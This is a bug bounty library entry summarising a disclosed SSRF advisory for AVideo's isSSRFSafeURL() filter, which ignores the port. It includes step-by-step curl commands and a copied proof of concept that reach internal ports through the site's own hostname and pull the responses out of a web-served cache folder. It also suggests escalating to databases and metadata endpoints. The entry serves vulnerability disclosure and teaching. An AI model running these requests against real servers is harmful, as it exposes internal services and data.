# WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL

AVideo's isSSRFSafeURL() same-domain shortcircuit ignores port, letting authenticated uploaders SSRF arbitrary localhost ports and exfiltrate responses via web-accessible cache/tmpFile.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-04-14
- CVE: CVE-2026-41060
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-j432-4w3j-3w8j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-j432-4w3j-3w8j
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:ssrf

**Target:** PHP web app SSRF filter / aVideoEncoder.json.php downloadURL handler
**Root cause:** isSSRFSafeURL() returns true whenever the URL hostname equals webSiteRootURL's hostname, without comparing port or scheme, so any port on the site host bypasses SSRF checks.
**Steps:**
1. Authenticate as a user with upload permission: `curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' -d 'user=testuser&pass=testpass'`
2. POST to encoder with same-host alternate port: `curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' -d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'`
3. Fetch exfiltrated response from web-accessible cache: `curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin`
4. Ensure response >=20KB (or >=5KB for .mp3) to pass size check at line 384
**How found:** Reviewed the same-domain shortcircuit added/left in isSSRFSafeURL() after commit 40872e529 and noticed it compares only hostname, not port, then traced downloadURL through aVideoEncoder.json.php to the file write.
**Exploitation:** Authenticated uploader (or holder of a valid video_id_hash) submits downloadURL pointing at the site's own public hostname on an internal port; isSSRFSafeURL() shortcircuits on hostname match, url_get_contents() fetches the internal service, and the body is written to cache/tmpFile/ under the web-accessible videos storage path for retrieval.
**Escalation:** Replaces 127.0.0.1 with the site's public hostname to reach the exact internal service the prior fix (40872e529) blocked, crossing from app into co-hosted services (DBs, admin panels, metadata endpoints).
**Insight:** When a filter allowlists 'same origin' by hostname only, try the site's own public hostname with alternate ports — DNS resolves to the same box, so localhost-only services become reachable and often the fetched body lands in a web-served cache dir.

## Proof of concept (copied exactly from the original report)

**SSRF request to same host alternate port**

```
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' \
  -d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'
```

**Retrieve exfiltrated internal response**

```
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin
```

**Login to obtain upload-capable cookies**

```
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
  -d 'user=testuser&pass=testpass'
```

